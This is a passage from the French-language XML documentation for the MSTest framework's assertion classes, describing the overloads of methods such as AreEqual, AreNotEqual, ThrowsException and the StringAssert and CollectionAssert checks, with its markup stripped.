tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if refers to the same object - as . - - - - - Teste si les valeurs spécifiées sont identiques, et lève une exception - si les deux valeurs sont différentes. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - The type of values to compare. - - - Première valeur à comparer. Valeur attendue par le test. - - - Seconde valeur à comparer. Il s'agit de la valeur produite par le code testé. - - - Thrown if is not equal to . - - - - - Teste si les valeurs spécifiées sont identiques, et lève une exception - si les deux valeurs sont différentes. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - The type of values to compare. - - - Première valeur à comparer. Valeur attendue par le test. - - - Seconde valeur à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not equal to - . - - - - - Teste si les valeurs spécifiées sont identiques, et lève une exception - si les deux valeurs sont différentes. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - The type of values to compare. - - - Première valeur à comparer. Valeur attendue par le test. - - - Seconde valeur à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to - . - - - - - Teste si les valeurs spécifiées sont différentes, et lève une exception - si les deux valeurs sont identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - The type of values to compare. - - - Première valeur à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur à comparer. Il s'agit de la valeur produite par le code testé. - - - Thrown if is equal to . - - - - - Teste si les valeurs spécifiées sont différentes, et lève une exception - si les deux valeurs sont identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - The type of values to compare. - - - Première valeur à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les valeurs spécifiées sont différentes, et lève une exception - si les deux valeurs sont identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - The type of values to compare. - - - Première valeur à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Teste si les objets spécifiés sont identiques, et lève une exception - si les deux objets ne sont pas identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - Premier objet à comparer. Objet attendu par le test. - - - Second objet à comparer. Il s'agit de l'objet produit par le code testé. - - - Thrown if is not equal to - . - - - - - Teste si les objets spécifiés sont identiques, et lève une exception - si les deux objets ne sont pas identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - Premier objet à comparer. Objet attendu par le test. - - - Second objet à comparer. Il s'agit de l'objet produit par le code testé. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not equal to - . - - - - - Teste si les objets spécifiés sont identiques, et lève une exception - si les deux objets ne sont pas identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - Premier objet à comparer. Objet attendu par le test. - - - Second objet à comparer. Il s'agit de l'objet produit par le code testé. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to - . - - - - - Teste si les objets spécifiés sont différents, et lève une exception - si les deux objets sont identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - Premier objet à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Second objet à comparer. Il s'agit de l'objet produit par le code testé. - - - Thrown if is equal to . - - - - - Teste si les objets spécifiés sont différents, et lève une exception - si les deux objets sont identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - Premier objet à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Second objet à comparer. Il s'agit de l'objet produit par le code testé. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les objets spécifiés sont différents, et lève une exception - si les deux objets sont identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - Premier objet à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Second objet à comparer. Il s'agit de l'objet produit par le code testé. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Teste si les valeurs float spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première valeur float à comparer. Valeur float attendue par le test. - - - Seconde valeur float à comparer. Il s'agit de la valeur float produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - de plus de . - - - Thrown if is not equal to - . - - - - - Teste si les valeurs float spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première valeur float à comparer. Valeur float attendue par le test. - - - Seconde valeur float à comparer. Il s'agit de la valeur float produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - de plus de . - - - Message à inclure dans l'exception quand - est différent de de plus de - . Le message s'affiche dans les résultats des tests. - - - Thrown if is not equal to - . - - - - - Teste si les valeurs float spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première valeur float à comparer. Valeur float attendue par le test. - - - Seconde valeur float à comparer. Il s'agit de la valeur float produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - de plus de . - - - Message à inclure dans l'exception quand - est différent de de plus de - . Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to - . - - - - - Teste si les valeurs float spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première valeur float à comparer. Il s'agit de la valeur float à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur float à comparer. Il s'agit de la valeur float produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - d'au maximum . - - - Thrown if is equal to . - - - - - Teste si les valeurs float spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première valeur float à comparer. Il s'agit de la valeur float à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur float à comparer. Il s'agit de la valeur float produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - d'au maximum . - - - Message à inclure dans l'exception quand - est égal à ou diffère de moins de - . Le message s'affiche dans les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les valeurs float spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première valeur float à comparer. Il s'agit de la valeur float à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur float à comparer. Il s'agit de la valeur float produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - d'au maximum . - - - Message à inclure dans l'exception quand - est égal à ou diffère de moins de - . Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Teste si les valeurs double spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première valeur double à comparer. Valeur double attendue par le test. - - - Seconde valeur double à comparer. Il s'agit de la valeur double produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - de plus de . - - - Thrown if is not equal to - . - - - - - Teste si les valeurs double spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première valeur double à comparer. Valeur double attendue par le test. - - - Seconde valeur double à comparer. Il s'agit de la valeur double produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - de plus de . - - - Message à inclure dans l'exception quand - est différent de de plus de - . Le message s'affiche dans les résultats des tests. - - - Thrown if is not equal to . - - - - - Teste si les valeurs double spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première valeur double à comparer. Valeur double attendue par le test. - - - Seconde valeur double à comparer. Il s'agit de la valeur double produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - de plus de . - - - Message à inclure dans l'exception quand - est différent de de plus de - . Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to . - - - - - Teste si les valeurs double spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première valeur double à comparer. Il s'agit de la valeur double à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur double à comparer. Il s'agit de la valeur double produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - d'au maximum . - - - Thrown if is equal to . - - - - - Teste si les valeurs double spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première valeur double à comparer. Il s'agit de la valeur double à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur double à comparer. Il s'agit de la valeur double produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - d'au maximum . - - - Message à inclure dans l'exception quand - est égal à ou diffère de moins de - . Le message s'affiche dans les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les valeurs double spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première valeur double à comparer. Il s'agit de la valeur double à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur double à comparer. Il s'agit de la valeur double produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - d'au maximum . - - - Message à inclure dans l'exception quand - est égal à ou diffère de moins de - . Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Teste si les chaînes spécifiées sont identiques, et lève une exception - si elles sont différentes. La culture invariante est utilisée pour la comparaison. - - - Première chaîne à comparer. Chaîne attendue par le test. - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Thrown if is not equal to . - - - - - Teste si les chaînes spécifiées sont identiques, et lève une exception - si elles sont différentes. La culture invariante est utilisée pour la comparaison. - - - Première chaîne à comparer. Chaîne attendue par le test. - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not equal to . - - - - - Teste si les chaînes spécifiées sont identiques, et lève une exception - si elles sont différentes. La culture invariante est utilisée pour la comparaison. - - - Première chaîne à comparer. Chaîne attendue par le test. - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to . - - - - - Teste si les chaînes spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première chaîne à comparer. Chaîne attendue par le test. - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Objet CultureInfo qui fournit des informations de comparaison spécifiques à la culture. - - - Thrown if is not equal to . - - - - - Teste si les chaînes spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première chaîne à comparer. Chaîne attendue par le test. - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Objet CultureInfo qui fournit des informations de comparaison spécifiques à la culture. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not equal to . - - - - - Teste si les chaînes spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première chaîne à comparer. Chaîne attendue par le test. - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Objet CultureInfo qui fournit des informations de comparaison spécifiques à la culture. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to . - - - - - Teste si les chaînes spécifiées sont différentes, et lève une exception - si elles sont identiques. La culture invariante est utilisée pour la comparaison. - - - Première chaîne à comparer. Il s'agit de la chaîne à laquelle le test est censé ne pas - correspondre . - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Thrown if is equal to . - - - - - Teste si les chaînes spécifiées sont différentes, et lève une exception - si elles sont identiques. La culture invariante est utilisée pour la comparaison. - - - Première chaîne à comparer. Il s'agit de la chaîne à laquelle le test est censé ne pas - correspondre . - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les chaînes spécifiées sont différentes, et lève une exception - si elles sont identiques. La culture invariante est utilisée pour la comparaison. - - - Première chaîne à comparer. Il s'agit de la chaîne à laquelle le test est censé ne pas - correspondre . - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Teste si les chaînes spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première chaîne à comparer. Il s'agit de la chaîne à laquelle le test est censé ne pas - correspondre . - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Objet CultureInfo qui fournit des informations de comparaison spécifiques à la culture. - - - Thrown if is equal to . - - - - - Teste si les chaînes spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première chaîne à comparer. Il s'agit de la chaîne à laquelle le test est censé ne pas - correspondre . - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Objet CultureInfo qui fournit des informations de comparaison spécifiques à la culture. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les chaînes spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première chaîne à comparer. Il s'agit de la chaîne à laquelle le test est censé ne pas - correspondre . - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Objet CultureInfo qui fournit des informations de comparaison spécifiques à la culture. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Teste si l'objet spécifié est une instance du - type attendu, et lève une exception si le type attendu n'est pas dans - la hiérarchie d'héritage de l'objet. - - - Objet censé être du type spécifié pour le test. - - - Le type attendu de . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Teste si l'objet spécifié est une instance du - type attendu, et lève une exception si le type attendu n'est pas dans - la hiérarchie d'héritage de l'objet. - - - Objet censé être du type spécifié pour le test. - - - Le type attendu de . - - - Message à inclure dans l'exception quand - n'est pas une instance de . Le message - s'affiche dans les résultats des tests. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Teste si l'objet spécifié est une instance du - type attendu, et lève une exception si le type attendu n'est pas dans - la hiérarchie d'héritage de l'objet. - - - Objet censé être du type spécifié pour le test. - - - Le type attendu de . - - - Message à inclure dans l'exception quand - n'est pas une instance de . Le message - s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Teste si l'objet spécifié n'est pas une instance du mauvais - type, et lève une exception si le type spécifié est dans - la hiérarchie d'héritage de l'objet. - - - Objet censé ne pas être du type spécifié pour le test. - - - Type auquel ne doit pas correspondre. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Teste si l'objet spécifié n'est pas une instance du mauvais - type, et lève une exception si le type spécifié est dans - la hiérarchie d'héritage de l'objet. - - - Objet censé ne pas être du type spécifié pour le test. - - - Type auquel ne doit pas correspondre. - - - Message à inclure dans l'exception quand - est une instance de . Le message s'affiche - dans les résultats des tests. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Teste si l'objet spécifié n'est pas une instance du mauvais - type, et lève une exception si le type spécifié est dans - la hiérarchie d'héritage de l'objet. - - - Objet censé ne pas être du type spécifié pour le test. - - - Type auquel ne doit pas correspondre. - - - Message à inclure dans l'exception quand - est une instance de . Le message s'affiche - dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Lève AssertFailedException. - - - Always thrown. - - - - - Lève AssertFailedException. - - - Message à inclure dans l'exception. Le message s'affiche dans - les résultats des tests. - - - Always thrown. - - - - - Lève AssertFailedException. - - - Message à inclure dans l'exception. Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Always thrown. - - - - - Lève AssertInconclusiveException. - - - Always thrown. - - - - - Lève AssertInconclusiveException. - - - Message à inclure dans l'exception. Le message s'affiche dans - les résultats des tests. - - - Always thrown. - - - - - Lève AssertInconclusiveException. - - - Message à inclure dans l'exception. Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Always thrown. - - - - - Les surcharges statiques d'equals comparent les instances de deux types pour déterminer si leurs références sont - égales entre elles. Cette méthode ne doit pas être utilisée pour évaluer si deux instances sont - égales entre elles. Cet objet est toujours levé avec Assert.Fail. Utilisez - Assert.AreEqual et les surcharges associées dans vos tests unitaires. - - Objet A - Objet B - False, toujours. - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève - - AssertFailedException - - si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - - Délégué du code à tester et censé lever une exception. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Type de l'exception censée être levée. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève - - AssertFailedException - - si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - - Délégué du code à tester et censé lever une exception. - - - Message à inclure dans l'exception quand - ne lève pas d'exception de type . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Type de l'exception censée être levée. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève - - AssertFailedException - - si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - - Délégué du code à tester et censé lever une exception. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Type de l'exception censée être levée. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève - - AssertFailedException - - si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - - Délégué du code à tester et censé lever une exception. - - - Message à inclure dans l'exception quand - ne lève pas d'exception de type . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Type de l'exception censée être levée. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève - - AssertFailedException - - si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - - Délégué du code à tester et censé lever une exception. - - - Message à inclure dans l'exception quand - ne lève pas d'exception de type . - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - Type de l'exception censée être levée. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève - - AssertFailedException - - si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - - Délégué du code à tester et censé lever une exception. - - - Message à inclure dans l'exception quand - ne lève pas d'exception de type . - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Type de l'exception censée être levée. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève - - AssertFailedException - - si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - - Délégué du code à tester et censé lever une exception. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Le qui exécute le délégué. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève AssertFailedException si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - Délégué du code à tester et censé lever une exception. - - Message à inclure dans l'exception quand - ne lève pas d'exception de type . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Le qui exécute le délégué. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève AssertFailedException si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - Délégué du code à tester et censé lever une exception. - - Message à inclure dans l'exception quand - ne lève pas d'exception de type . - - - Tableau de paramètres à utiliser pour la mise en forme de . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Le qui exécute le délégué. - - - - - Remplace les caractères Null ('\0') par "\\0". - - - Chaîne à rechercher. - - - Chaîne convertie où les caractères null sont remplacés par "\\0". - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Fonction d'assistance qui crée et lève AssertionFailedException - - - nom de l'assertion levant une exception - - - message décrivant les conditions de l'échec d'assertion - - - Paramètres. - - - - - Vérifie la validité des conditions du paramètre - - - Paramètre. - - - Nom de l'assertion. - - - nom du paramètre - - - message d'exception liée à un paramètre non valide - - - Paramètres. - - - - - Convertit en toute sécurité un objet en chaîne, en gérant les valeurs null et les caractères Null. - Les valeurs null sont converties en "(null)". Les caractères Null sont convertis en "\\0". - - - Objet à convertir en chaîne. - - - Chaîne convertie. - - - - - Assertion de chaîne. - - - - - Obtient l'instance singleton de la fonctionnalité CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Teste si la chaîne indiquée contient la sous-chaîne spécifiée - et lève une exception si la sous-chaîne ne figure pas dans - la chaîne de test. - - - Chaîne censée contenir . - - - Chaîne censée se trouver dans . - - - Thrown if is not found in - . - - - - - Teste si la chaîne indiquée contient la sous-chaîne spécifiée - et lève une exception si la sous-chaîne ne figure pas dans - la chaîne de test. - - - Chaîne censée contenir . - - - Chaîne censée se trouver dans . - - - Message à inclure dans l'exception quand - n'est pas dans . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not found in - . - - - - - Teste si la chaîne indiquée contient la sous-chaîne spécifiée - et lève une exception si la sous-chaîne ne figure pas dans - la chaîne de test. - - - Chaîne censée contenir . - - - Chaîne censée se trouver dans . - - - Message à inclure dans l'exception quand - n'est pas dans . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not found in - . - - - - - Teste si la chaîne indiquée commence par la sous-chaîne spécifiée - et lève une exception si la chaîne de test ne commence pas par la - sous-chaîne. - - - Chaîne censée commencer par . - - - Chaîne censée être un préfixe de . - - - Thrown if does not begin with - . - - - - - Teste si la chaîne indiquée commence par la sous-chaîne spécifiée - et lève une exception si la chaîne de test ne commence pas par la - sous-chaîne. - - - Chaîne censée commencer par . - - - Chaîne censée être un préfixe de . - - - Message à inclure dans l'exception quand - ne commence pas par . Le message - s'affiche dans les résultats des tests. - - - Thrown if does not begin with - . - - - - - Teste si la chaîne indiquée commence par la sous-chaîne spécifiée - et lève une exception si la chaîne de test ne commence pas par la - sous-chaîne. - - - Chaîne censée commencer par . - - - Chaîne censée être un préfixe de . - - - Message à inclure dans l'exception quand - ne commence pas par . Le message - s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if does not begin with - . - - - - - Teste si la chaîne indiquée finit par la sous-chaîne spécifiée - et lève une exception si la chaîne de test ne finit pas par la - sous-chaîne. - - - Chaîne censée finir par . - - - Chaîne censée être un suffixe de . - - - Thrown if does not end with - . - - - - - Teste si la chaîne indiquée finit par la sous-chaîne spécifiée - et lève une exception si la chaîne de test ne finit pas par la - sous-chaîne. - - - Chaîne censée finir par . - - - Chaîne censée être un suffixe de . - - - Message à inclure dans l'exception quand - ne finit pas par . Le message - s'affiche dans les résultats des tests. - - - Thrown if does not end with - . - - - - - Teste si la chaîne indiquée finit par la sous-chaîne spécifiée - et lève une exception si la chaîne de test ne finit pas par la - sous-chaîne. - - - Chaîne censée finir par . - - - Chaîne censée être un suffixe de . - - - Message à inclure dans l'exception quand - ne finit pas par . Le message - s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if does not end with - . - - - - - Teste si la chaîne spécifiée correspond à une expression régulière, et - lève une exception si la chaîne ne correspond pas à l'expression. - - - Chaîne censée correspondre à . - - - Expression régulière qui est - censé correspondre. - - - Thrown if does not match - . - - - - - Teste si la chaîne spécifiée correspond à une expression régulière, et - lève une exception si la chaîne ne correspond pas à l'expression. - - - Chaîne censée correspondre à . - - - Expression régulière qui est - censé correspondre. - - - Message à inclure dans l'exception quand - ne correspond pas . Le message s'affiche dans - les résultats des tests. - - - Thrown if does not match - . - - - - - Teste si la chaîne spécifiée correspond à une expression régulière, et - lève une exception si la chaîne ne correspond pas à l'expression. - - - Chaîne censée correspondre à . - - - Expression régulière qui est - censé correspondre. - - - Message à inclure dans l'exception quand - ne correspond pas . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if does not match - . - - - - - Teste si la chaîne spécifiée ne correspond pas à une expression régulière - et lève une exception si la chaîne correspond à l'expression. - - - Chaîne censée ne pas correspondre à . - - - Expression régulière qui est - censé ne pas correspondre. - - - Thrown if matches . - - - - - Teste si la chaîne spécifiée ne correspond pas à une expression régulière - et lève une exception si la chaîne correspond à l'expression. - - - Chaîne censée ne pas correspondre à . - - - Expression régulière qui est - censé ne pas correspondre. - - - Message à inclure dans l'exception quand - correspond à . Le message s'affiche dans les - résultats des tests. - - - Thrown if matches . - - - - - Teste si la chaîne spécifiée ne correspond pas à une expression régulière - et lève une exception si la chaîne correspond à l'expression. - - - Chaîne censée ne pas correspondre à . - - - Expression régulière qui est - censé ne pas correspondre. - - - Message à inclure dans l'exception quand - correspond à . Le message s'affiche dans les - résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if matches . - - - - - Collection de classes d'assistance permettant de tester diverses conditions associées - à des collections dans les tests unitaires. Si la condition testée n'est pas - remplie, une exception est levée. - - - - - Obtient l'instance singleton de la fonctionnalité CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Teste si la collection indiquée contient l'élément spécifié - et lève une exception si l'élément n'est pas dans la collection. - - - Collection dans laquelle rechercher l'élément. - - - Élément censé se trouver dans la collection. - - - Thrown if is not found in - . - - - - - Teste si la collection indiquée contient l'élément spécifié - et lève une exception si l'élément n'est pas dans la collection. - - - Collection dans laquelle rechercher l'élément. - - - Élément censé se trouver dans la collection. - - - Message à inclure dans l'exception quand - n'est pas dans . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not found in - . - - - - - Teste si la collection indiquée contient l'élément spécifié - et lève une exception si l'élément n'est pas dans la collection. - - - Collection dans laquelle rechercher l'élément. - - - Élément censé se trouver dans la collection. - - - Message à inclure dans l'exception quand - n'est pas dans . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not found in - . - - - - - Teste si la collection indiquée ne contient pas l'élément spécifié - et lève une exception si l'élément est dans la collection. - - - Collection dans laquelle rechercher l'élément. - - - Élément censé ne pas se trouver dans la collection. - - - Thrown if is found in - . - - - - - Teste si la collection indiquée ne contient pas l'élément spécifié - et lève une exception si l'élément est dans la collection. - - - Collection dans laquelle rechercher l'élément. - - - Élément censé ne pas se trouver dans la collection. - - - Message à inclure dans l'exception quand - est dans . Le message s'affiche dans les - résultats des tests. - - - Thrown if is found in - . - - - - - Teste si la collection indiquée ne contient pas l'élément 